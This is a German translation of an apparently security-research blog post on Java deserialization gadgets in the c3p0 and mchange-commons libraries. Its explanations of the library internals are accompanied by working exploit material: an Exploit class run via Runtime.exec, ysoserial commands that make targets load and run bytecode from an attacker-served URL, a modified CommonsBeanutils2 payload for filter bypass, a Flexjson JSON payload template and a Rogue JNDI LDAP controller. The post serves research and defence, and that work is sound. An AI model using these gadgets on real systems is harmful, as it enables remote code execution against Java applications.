c3p0, du kleiner Schlingel

Die c3p0-Bibliothek bietet viele nützliche Exploit-Primitiven, die mehr Beachtung verdienen

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

Seit der Einführung des Java Module System in Java 16 sind Deserialisierungs-Gadget-Chains, die das direkte Ausführen von Remote-Code ermöglichen, immer seltener geworden. Eine nennenswerte Ausnahme ist das Gadget aus der JDBC-Verbindungspool-Bibliothek c3p0.

c3p0 (zusammen mit der Dependency mchange-commons-java) bietet mehrere Funktionen, die bei der Ausnutzung von Schwachstellen von Java-Anwendungen nützlich sein können. Die beste Primitive ist Möglichkeit, eigenen Code per Remote Class Loading zu laden und auszuführen. c3p0 ist jedoch in vielen Deserialisierungsscannern nicht enthalten, vermutlich weil die Verwendung nicht so einfach wie bei anderen Gadgets ist.

Dieser Beitrag stellt keine neuen Erkenntnisse vor, sondern dient vielmehr als detaillierte Dokumentation bekannter Gadgets, deren interne Funktionsweise sowie ihre Verwendung. Er basiert stark auf der hervorragenden Arbeit von Moritz Bechler, der die c3p0-Gadget-Chain zu ysoserial beigetragen und mehrere JSON-bezogene Gadgets in seinem bekannten “marshalsec"-Paper vorgestellt hat.

Einführung in c3p0

c3p0 ist eine Connection-Pooling-Bibliothek, die für das Management von Datenbankverbindungen (JDBC) in Java-Anwendungen verantwortlich ist. Das Herstellen einer neuen Datenbankverbindung ist ein zeitaufwendiger Prozess, daher halten Enterprise-Anwendungen in der Regel einen Pool offener Verbindungen vor, um effizient mit einer SQL-Datenbank zu kommunizieren.

c3p0 ist bereits recht alt und enthält viele Funktionen, die in modernen Anwendungs-Stacks nicht mehr notwendig sind. Daher sind viele Anwendungen auf andere Pooling-Bibliotheken wie HikariCP oder Apache Commons DBCP2 umgestiegen. Dennoch gibt es einige weit verbreitete Bibliotheken, die weiterhin von c3p0 abhängig sind, sodass es häufig noch im Classpath einer Anwendung vorhanden ist.

mchange-commons-java

c3p0 nutzt mchange-commons-java, einer von denselben Autoren entwickelten Bibliothek. Diese Bibliothek enthält den eigenltichen Code, der zum Ausführen von zusätzlichen Code verwendet wird. Der Einfachheit halber wird im Folgenden nicht zwischen c3p0 und mchange-commons-java unterschieden.

Die ysoserial Gadget Chain

Beginnen wir mit der in ysoserial enthaltenen Gadget-Chain, die mit PoolBackedDataSourceBase Klasse beginnt.

Um zu verstehen, wie dieses Gadget funktioniert, betrachten wir zunächst die writeObject Methode, die aufgerufen wird, wenn eine Instanz von PoolBackedDataSourceBase serialisiert wird. Insbesondere interessiert uns, was passiert, wenn die Eigenschaft connectionPoolDataSource nicht serialisiert werden kann. Dies tritt auf, wenn die Klasse dieses Objekts nicht das Serializable-Interface implementiert.

 1private void writeObject(ObjectOutputStream oos) throws IOException {
 2    oos.writeShort(1);
 3
 4    try {
 5        SerializableUtils.toByteArray(this.connectionPoolDataSource);
 6        oos.writeObject(this.connectionPoolDataSource);
 7
 8    } catch (NotSerializableException var6) {
 9        try {
10            ReferenceIndirector indirectionOtherException = new ReferenceIndirector();
11            oos.writeObject(indirectionOtherException.indirectForm(this.connectionPoolDataSource));
12        } catch (IOException var4) {
13            throw var4;
14        } catch (Exception var5) {
15            throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var5.toString());
16        }
17    }

Falls das Objekt nicht serialisierbar ist, serialisiert c3p0 stattdessen eine indirekte Form des Objekts. Bei der Implementierung dieser Funktion in der Klasse “ReferenceIndirector” haben die Entwickler von c3p0/mchange-commons das Konzept der Naming References aus JNDI übernommen, das für dieses Problem entwickelt wurde.

Ein Zitat aus Michael Stepankins hervorragendem Blogpost “Exploiting JNDI Injections in Java” beschreibt diesen Mechanismus:

If this object is an instance of “javax.naming.Reference” class, a JNDI client tries to resolve the “classFactory” and “classFactoryLocation” attributes of this object. If the “classFactory” value is unknown to the target Java application, it fetches the factory’s bytecode from the “classFactoryLocation” location by using Java’s URLClassLoader.

Diese Idee schien bei der ursprünglichen Entwicklung von JNDI vielversprechend, entpuppte sich jedoch letztlich als Sicherheitsalptraum – wie etwa im Fall von Log4Shell. Um Missbrauch zu verhindern, änderte Oracle das Standardverhalten in Java 8u191 und deaktivierte das Remote-Class-Loading aus der classFactoryLocation-Referenz.

Allerdings wurde diese Änderung nicht auf c3p0s indirectForm angewendet, sodass die Bibliothek nach wie vor Remote-Class-Loading ermöglicht – selbst in den neuesten Java-Versionen!

Hier ist die Implementierung von readObject() aus der Klasse PoolBackedDataSourceBase:

 1private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 2    short version = ois.readShort();
 3    switch (version) {
 4        case 1:
 5            Object o = ois.readObject();
 6            if (o instanceof IndirectlySerialized) {
 7                o = ((IndirectlySerialized) o).getObject();
 8            }
 9
10            this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
11            this.dataSourceName = (String) ois.readObject();
12            this.factoryClassLocation = (String) ois.readObject();
13            this.identityToken = (String) ois.readObject();
14            this.numHelperThreads = ois.readInt();
15            this.pcs = new PropertyChangeSupport(this);
16            this.vcs = new VetoableChangeSupport(this);
17            return;
18        default:
19            throw new IOException("Unsupported Serialized Version: " + version);
20    }
21}

Die ReferenceSerialized Klasse ist die Implementierung des IndirectlySerialized interface. Es behinhaltet ein Reference object, welches später wichtig wird.

 1private static class ReferenceSerialized implements IndirectlySerialized
 2    {
 3	Reference   reference;
 4	Name        name;
 5	Name        contextName;
 6	Hashtable   env;
 7
 8	ReferenceSerialized( Reference   reference,
 9			     Name        name,
10			     Name        contextName,
11			     Hashtable   env )
12	{
13	    this.reference = reference;
14	    this.name = name;
15	    this.contextName = contextName;
16	    this.env = env;
17	}

Schauen wir uns nun die Methode getObject aus der Klasse ReferenceIndirector an. Diese wird aufgerufen, wenn ein in c3p0s indirekter Form gespeichertes Objekt deserialisiert wird.

Diese Methode erstellt zunächst einen neuen InitialContext und ruft anschließend ReferenceableUtils.referenceToObject mit vom Angreifer kontrollierten Parametern auf.

 1public Object getObject() throws ClassNotFoundException, IOException
 2{
 3    try
 4    {
 5        Context initialContext;
 6        if ( env == null )
 7        initialContext = new InitialContext();
 8        else
 9        initialContext = new InitialContext( env );
10        Context nameContext = null;
11        if ( contextName != null )
12        nameContext = (Context) initialContext.lookup( contextName );
13        return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
14    }
15    catch (NamingException e)
16    {
17        //e.printStackTrace();
18        if ( logger.isLoggable( MLevel.WARNING ) )
19        logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
20        throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
21    }
22}

In Zeile 12 erfolgt bereits ein JNDI-Lookup zu einer angreiferkontrollierten Adresse. In älteren Java-Versionen wäre dies bereits ausreichend, um Remote-Code-Ausführung (RCE) zu erreichen. Allerdings wird dieser Schritt übersprungen, wenn kein contextName angegeben ist. Wir benötigen ihn auch nicht, da die reference Variable bereits beim deserialisieren des Objekts befüllt wurde.

Die Methode ReferenceableUtils.referenceToObject (Zeile 13) ist dafür verantwortlich, Java-Bytecode von der angegebenen URL zu laden und eine neue Objektinstanz zu erstellen:

 1public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env)
 2        throws NamingException {
 3    try {
 4        String fClassName = ref.getFactoryClassName();
 5        String fClassLocation = ref.getFactoryClassLocation();
 6        ClassLoader cl;
 7        if (fClassLocation == null)
 8            cl = ClassLoader.getSystemClassLoader();
 9        else {
10            URL u = new URL(fClassLocation);
11            cl = new URLClassLoader(new URL[]{u}, ClassLoader.getSystemClassLoader());
12        }
13        Class fClass = Class.forName(fClassName, true, cl);
14        ObjectFactory of = (ObjectFactory) fClass.newInstance();
15        return of.getObjectInstance(ref, name, nameCtx, env);
16    } catch (Exception e) {
17        if (Debug.DEBUG) {
18            //e.printStackTrace();
19            if (logger.isLoggable(MLevel.FINE))
20                logger.log(MLevel.FINE, "Could not resolve Reference to Object!", e);
21        }
22        NamingException ne = new NamingException("Could not resolve Reference to Object!");
23        ne.setRootCause(e);
24        throw ne;
25    }
26}

Moritz Bechlers c3p0-Deserialisierungs-Gadget ist ein PoolBackedDataSourceBase-Objekt, das eine JNDI Naming Reference enthält, um seine connectionPoolDataSource-Property während der Deserialisierung wiederherzustellen.

Diese Property wird mit einer Instanz einer Klasse gesetzt, die ebenfalls Teil des Gadgets ist. Wichtig ist, dass diese Klasse nicht das Serializable-Interface implementiert und daher auch nicht direkt serialisiert werden kann.

Während der Serialisierung von PoolBackedDataSourceBase wird diese Eigenschaft daher in “indirectlySerialized”-Form gespeichert.

 1private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
 2
 3    private String className;
 4    private String url;
 5    public PoolSource ( String className, String url ) {
 6        this.className = className;
 7        this.url = url;
 8    }
 9    public Reference getReference () throws NamingException {
10        return new Reference("exploit", this.className, this.url);
11    }
12    public PrintWriter getLogWriter () throws SQLException {return null;}
13    public void setLogWriter ( PrintWriter out ) throws SQLException {}
14    public void setLoginTimeout ( int seconds ) throws SQLException {}
15    public int getLoginTimeout () throws SQLException {return 0;}
16    public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
17    public PooledConnection getPooledConnection () throws SQLException {return null;}
18    public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
19
20}

Während des Deserialisierungsprozesses versucht c3p0, die ObjectFactory zu erstellen, um die connectionPoolDataSource-Eigenschaft mithilfe von Angreifer kontrollierten Reference zu rekonstruieren. Da wir in der Reference eine classFactoryLocation angeben, wird der URLClassLoader den Bytecode von einem angreiferkontrollierten System abrufen und eine neue Objektinstanz erstellen – genau wie in den alten “Java”-Zeiten.

Als letzter Schritt muss der Bytecode für unsere Klasse bereitgestellt werden, wobei der auszuführende Code direkt in den Konstruktor eingebettet wird.

 1package mogwailabs;
 2
 3public class Exploit {
 4    public Exploit() {
 5        try {
 6            Runtime.getRuntime().exec("touch /tmp/pwned-by-c3p0");
 7        } catch(Exception e) {
 8            e.printStackTrace();
 9        }
10    }
11}

Bereitstellung des Schadcodes

Diese Klasse kann mit javac kompiliert und anschließend über einen Webserver bereitgestellt werden.

1javac Exploit.java 

Damit der URLClassLoader den Bytecode erfolgreich laden kann, müssen zusätzliche Verzeichinisse auf dem Webserver vorhanden sein, die der Paketstruktur der Klasse entpsrechend.

Auszug aus der URLClassLoader-Dokumentation:

Any URL that ends with a ‘/’ is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.

Da wir im Beispiel das Paket “mogwailabs” verwenden, muss unser Payload in einem passenden Verzeichnis liegen:

1mkdir mogwailabs
2cp Exploit.java mogwailabs
3python -m http.server 

Die Gadget-Chain kann mit ysoserial generiert werden. ysoserial erwartet als Argumente die URL der Klasse sowie den Klassennamen:

1java -jar ysoserial-all.jar C3P0 http://localhost:8000/:mogwailabs.Exploit > c3p0.serial

Gadget Variationen

Es ist wichtig zu wissen, dass die c3p0-Bibliothek noch weitere Klassen enthält, die während der Deserialisierung die getObject()-Methode aus einer indirekt serialisierten Klasse aufrufen.

Der folgende Code-Ausschnitt zeigt die readObject-Implementierung der Klasse JndiRefDataSourceBase. Diese Implementierung kann die jndiName-Property aus einem indirekt serialisierten Objekt laden:

 1private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 2    short version = ois.readShort();
 3    switch (version) {
 4        case 1:
 5            this.caching = ois.readBoolean();
 6            this.factoryClassLocation = (String) ois.readObject();
 7            this.identityToken = (String) ois.readObject();
 8            this.jndiEnv = (Hashtable) ois.readObject();
 9            Object o = ois.readObject();
10            if (o instanceof IndirectlySerialized) {
11                o = ((IndirectlySerialized) o).getObject();
12            }
13            this.jndiName = o;
14            this.pcs = new PropertyChangeSupport(this);
15            this.vcs = new VetoableChangeSupport(this);
16            return;
17        default:
18            throw new IOException("Unsupported Serialized Version: " + version);
19    }
20}

Wir können das bestehende c3p0-Gadget in ysoserial modifizieren, um stattdessen diese Klasse zu verwenden. Dies kann hilfreich sein, wenn wir eine Allow-List-Filterung umgehen müssen, welche die Klassen com.mchange.v2.c3p0.PoolBackedDataSource oder com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase enthält. Hier ist die angepasste Implementierung der getObject-Methode aus dem modifizierten Gadget:

 1    public Object getObject ( String command ) throws Exception {
 2        int sep = command.lastIndexOf(':');
 3        if ( sep < 0 ) {
 4            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
 5        }
 6
 7        String url = command.substring(0, sep);
 8        String className = command.substring(sep + 1);
 9
10        JndiRefDataSourceBase b = Reflections.createWithoutConstructor(JndiRefDataSourceBase.class);
11        Reflections.getField(JndiRefDataSourceBase.class, "jndiName").set(b, new PoolSource(className, url));
12        return b;
13    }

Es ist zudem möglich TemplatesImpl, welche die vor Java 16 die gängigste Code Execution Primitive war durch ReferenceIndirectorzu ersetzen. Dies kann ebenfalls zum Umgehen bestehender Filter genutzt werden. Als Beispiel, hier eine Version des CommonBeanUtils Gadgets, welche die Remote Class-Loading Funktion von c3p0 verwendet.

 1package ysoserial.payloads;
 2
 3import java.math.BigInteger;
 4import java.util.PriorityQueue;
 5
 6import javax.naming.NamingException;
 7import javax.naming.Reference;
 8import javax.naming.Referenceable;
 9
10
11import com.mchange.v2.ser.IndirectlySerialized;
12import org.apache.commons.beanutils.BeanComparator;
13import com.mchange.v2.naming.ReferenceIndirector;
14import ysoserial.payloads.annotation.Authors;
15import ysoserial.payloads.annotation.Dependencies;
16import ysoserial.payloads.util.PayloadRunner;
17import ysoserial.payloads.util.Reflections;
18
19@SuppressWarnings({ "rawtypes", "unchecked" })
20@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2", "com.mchange:mchange-commons-java:0.2.11"})
21@Authors({ Authors.FROHOFF })
22public class CommonsBeanutils2 implements ObjectPayload<Object> {
23
24    public Object getObject(final String command) throws Exception {
25
26        int sep = command.lastIndexOf(':');
27        if ( sep < 0 ) {
28            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
29        }
30
31        String url = command.substring(0, sep);
32        String className = command.substring(sep + 1);
33
34        final Object references = getReference(className, url);
35        // mock method name until armed
36        final BeanComparator comparator = new BeanComparator("lowestSetBit");
37
38        // create queue with numbers and basic comparator
39        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
40        // stub data for replacement later
41        queue.add(new BigInteger("1"));
42        queue.add(new BigInteger("1"));
43
44        // switch method called by comparator
45        Reflections.setFieldValue(comparator, "property", "object");
46
47        // switch contents of queue
48        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
49        queueArray[0] = references;
50        queueArray[1] = references;
51
52        return queue;
53    }
54
55    private IndirectlySerialized getReference(String className, String url) throws Exception {
56
57        ReferenceIndirector tmp = new ReferenceIndirector();
58        return tmp.indirectForm(new RefObject(className, url));
59    }
60
61    private static final class RefObject implements Referenceable {
62
63        private String className;
64        private String url;
65
66        public RefObject(String className, String url) {
67            this.className = className;
68            this.url = url;
69        }
70
71        public Reference getReference() throws NamingException {
72            return new Reference("exploit", this.className, this.url);
73        }
74
75    }
76
77        public static void main(final String[] args) throws Exception {
78        PayloadRunner.run(CommonsBeanutils2.class, args);
79    }
80}

c3p0 und JSON Deserialisierung

Die Deserialisierung von JSON-Objekten unterscheidet sich typischerweise von der nativen Java-Deserialisierung. In seinem bekannten Paper “Java Unmarshaller Security” analysierte Moritz Bechler den Deserialisierungsprozess verschiedener Marshaller und untersuchte, ob sie von Angreifern ausgenutzt werden können. Wir fokusieren uns hier auf JSON-Deserialisierung, da diese am häufigsten verwendet wird.

Die meisten JSON-Marshaller erlauben nicht die Deserialisierung beliebiger Java-Objekte. Stattdessen müssen Objekte die JavaBean-Spezifikation einhalten. Konkret bedeutet das:

Sie müssen einen Standardkonstruktor (einen parameterlosen Konstruktor) bereitstellen. Sie müssen Setter-Methoden (z. B. setXXX-Methoden) enthalten.

Diese Einschränkung ergibt sich aus dem grundsätzlichen Ablauf der JSON-Deserialisierung:

  1. Eine neue Instanz des Objekts wird mit dem Standardkonstruktor erstellt.
  2. Die entsprechenden Setter-Methoden werden für die Properties im JSON-Objekt aufgerufen.

Im marshalsec-Projekt beschreibt Moritz Bechler zwei c3p0-Gadgets, die diesen Anforderungen genügen:

  • JndiRefForwardingDataSource (Kapitel 4.8)
    Ermöglicht eine ausgehende JNDI-Anfragen zu einem von angreifern kontrollierten Naming-Service
  • WrapperConnectionPoolDataSource (Kapitel 4.9)
    Ermöglicht einen Wechsel zur nativen Java-Deserialisierung

Beide Gadgets ermöglichen einen Übergang von JSON-Deserialisierung zur nativen Java-Deserialisierung, wodurch sich ysoserial-Gadgets zur Remote-Code-Ausführung (RCE) nutzen lassen. Wir fokusieren uns auf WrappedConnectionPoolDataSource, da es sich auch mit anderen Deserialisierungs-Gadgets kombinieren lässt.

. Hier die detaillierte Beschreibung der Gadget-Chain, aus Moritz Bechlers marshalsec paper Paper:

  1. Set the “userOverridesAsString” property to trigger the PropertyChangeEvent listener registered in the constructor.
  2. The listener calls C3P0ImplUtils->parseUserOverridesAsString() with the property value. Part of that is hex decoded (stripping the first 22 characters as well the last) and deserialized (Java).
  3. com.mchange.v2.ser.IndirectlySerialized->getObject() is called if the de-serialized object implements that interface.
  4. com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized is such an implementation. It will instantiate a class from a remote class path as JNDI ObjectFactory.

In der Praxis benötigen wir nur die ersten beiden Schritte, um von der JSON-Deserialisierung zur nativen Java-Deserialisierung zu wechseln. Von dort aus kann wieder das bereits bekannte c3p0-Gadget aus ysoserial verwendet werden, um eigenen Code auszuführen. Allerdings sind wir hier nicht auf diesen Gadget beschränkt – jedes andere Deserialisierungs-Gadget, das sich im Classpath des Ziels befindet, kann ebenfalls genutzt werden. In bestimmten Fällen, beispielsweise wenn das Ziel keine ausgehenden Netzwerkverbindungen zulässt, kann die Verwendung von anderen Gadgets sogar notwendig sein.

Für Demonstrationszwecke nutzen wir den JSON-Serializer “Flexjson”. Flexjson ist besonders geeignet, da Typinformationen in jedem JSON-Objekt eingebettet werden und keine Filtermechanismen vorhanden sind, die die Deserialisierung bekannter Gadgets blockieren.

Hier ein minimales Beispielprogramm:

 1package de.mogwailabs;
 2
 3import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
 4import flexjson.JSONDeserializer;
 5
 6import java.io.IOException;
 7import java.nio.file.Files;
 8import java.nio.file.Paths;
 9
10public class C3P0Tester {
11    public static void main(String[] args) throws IOException {
12        String filePath = args[0];
13        String json = new String(Files.readAllBytes(Paths.get(filePath)));
14
15        JSONDeserializer deserializer = new JSONDeserializer();
16        deserializer.deserialize(json, String.class);
17    }
18}

Zunächst generieren wir den Payload mit ysoserial. Anschließend wandeln wir ihn mit xxd in das benötigte Format um:

1java -jar target/ysoserial-all.jar C3P0 http://localhost:8000/:mogwailabs.Exploit | xxd -ps -c 200 | tr -d '\n'

Kopieren wir den Payload in eine JSON Struktur und speichern ihn anschließend in einer Datei:

1{
2  "class": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
3  "userOverridesAsString": "HexAsciiSerializedMap:<place payload here>;"
4}

Hinweis: Der Semikolon ist notwendig!

JNDI und c3p0s JavaBeanObjectFactory

Wie bereits erwähnt, hat Java 8u191 das Remote-Class-Loading für JNDI-Objektfabriken deaktiviert. Es ist jedoch weiterhin möglich, eine bestehende Factory-Klasse im javaFactory-Attribut anzugeben, solange sie sich im Classpath des Zielssystems befindet und die notwendigen Schnittstellen und Methoden implementiert.

Angriffe sind weiterhin möglich, wenn die Zielanwendung eine ObjectFactory-Implementierung enthält, die die Attribute einer übergebenen Reference unsicher verarbeitet.

Im Jahr 2019 entdeckte Michael Stepankin eine solche ObjectFactory mit dem Namen org.apache.naming.factory.BeanFactory in Apache Tomcat. Aufgrund einer speziellen Funktion dieser Klasse konnten Angreifer sie zur Ausführung beliebigen Codes verwenden.

Interessanterweise stellt c3p0 (oder genauer: mchange-commons) eine ähnliche ObjectFactory-Implementierung names JavaBeanObjectFactory bereit. Wie der Name schon andeutet, ähnelt diese Klasse stark der Implementierung von Tomcats BeanFactory. Der folgende Code-Ausschnitt zeigt die findBean-Methode, die für die Instanziierung und das Befüllen des Beans verantwortlich ist:

 1protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception
 2{
 3Object bean = createBlankInstance( beanClass );
 4BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
 5PropertyDescriptor[] pds = bi.getPropertyDescriptors();
 6
 7for (int i = 0, len = pds.length; i < len; ++i)
 8    {
 9    PropertyDescriptor pd = pds[i];
10    String propertyName = pd.getName();
11    Object value = propertyMap.get( propertyName );
12    Method setter = pd.getWriteMethod();
13    if (value != null)
14        {
15        if (setter != null)
16            setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
17        else
18            {
19            //System.err.println(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
20            if (logger.isLoggable( MLevel.WARNING ))
21                logger.warning(this.getClass().getName() + ": Could not restore read-only property '" + propertyName + "'.");
22            }
23        }
24    else
25        {
26        if (setter != null)
27            {
28            if (refProps == null || refProps.contains( propertyName ))
29            {
30                //System.err.println(this.getClass().getName() +
31                //": WARNING -- Expected writable property '" + propertyName + "' left at default value");
32                if (logger.isLoggable( MLevel.WARNING ))
33                    logger.warning(this.getClass().getName() + " -- Expected writable property ''" + propertyName + "'' left at default value");
34                }
35            }
36        }
37    }
38
39    return bean;
40}

Der Code erstellt zunächst eine neue Instanz des Beans, indem er dessen Standardkonstruktor aufruft (Zeile 3). Anschließend werden die entsprechenden Setter-Methoden basierend auf den bereitgestellten Bean-Informationen aufgerufen (Zeile 16). Dieser Prozess entspricht genau dem zuvor beschriebenen JSON-Deserialisierungsprozess, was bedeutet, dass wir dieselben Gadgets hier wiederverwenden können.

Die Verwendung dieser ObjectFactory ist normalerweise nicht notwendig, da JNDI bereits nativ die Deserialisierung von Java-Objekten unterstützt. Das bedeutet, dass wir direkt die vorhandene c3p0-Gadget-Chain nutzen können.

Wir generieren zunächst wieder ein entsprechendes Objekt mittels ysoserial:

1java -jar ysoserial-all.jar C3P0 http://localhost:8000/:xExportObject > /tmp/c3p0.serial

Anschließend können wir das serialisierte Objekt mit einem Tool wie ROGUE JNDI NGbereitstellen. Dieses Tool enthält bereits die xExportObject-Klasse, die in unserem ysoserial-Befehl referenziert wird.

1java -jar RogueJndi-1.1.jar --generic-payload-path /tmp/c3p0.serial

Während der Arbeit an diesem Blogpost stellte ich fest, dass Moritz Bechler (wenig überraschend) diese ObjectFactory ebenfalls entdeckt hatte. Er erwähnt sie in seinemLDAP Swiss Army Knife paper für das SySS-Tool ldap-swak.

SySS GmbH also discovered another exploitable ObjectFactory implementation in the c3po library: com.mchange.v2.naming.JavaBeanObjectFactory allows to invoke remote classloading. However, as this library also contains a deserialization gadget, currently there does not seem to be any real benefit in using this technique.

Ein Szenario, in dem die Verwendung dieser ObjectFactory nützlich sein könnte, wäre ein globaler Deserialisierungsfilter, der auf einer Deny-List basiert und die Deserialiserung der WrapperConnectionPoolDataSource Instanz blockiert.

Der Vollständigkeithabler, hier unsere ROGUE JNDI NG implementation:

 1@LdapMapping(uri = { "/o=c3p0" })
 2public class C3p0 implements LdapController {
 3    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
 4
 5        System.out.println("Sending LDAP ResourceRef result for " + base );
 6
 7        String classloaderUrl = "http://" + Config.hostname + ":" + Config.httpPort + "/xExportObject.jar";
 8
 9        String overrideString = makeC3P0UserOverridesString(classloaderUrl, "xExportObject");
10        Entry e = new Entry(base);
11        e.addAttribute("javaClassName", "java.lang.String"); //could be any
12
13        Reference c3p0Reference = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
14        c3p0Reference.add(new StringRefAddr("userOverridesAsString", overrideString));
15
16        e.addAttribute("javaSerializedData", serialize(c3p0Reference));
17        result.sendSearchEntry(e);
18        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
19    }
20
21    // Taken from Moritz Bechlers Marshalsec repository
22    // https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
23    public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
24            InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
25
26        ByteArrayOutputStream b = new ByteArrayOutputStream();
27        try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
28            Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
29            Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
30            con.setAccessible(true);
31            Reference jndiref = new Reference("Foo", clazz, codebase);
32            Object ref = con.newInstance(jndiref, null, null, null);
33            oos.writeObject(ref);
34        }
35
36        return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
37    }
38}

Danke fürs Lesen. 😀.


Danke an Jessica Rockowitz auf Unsplash für das Titelbild.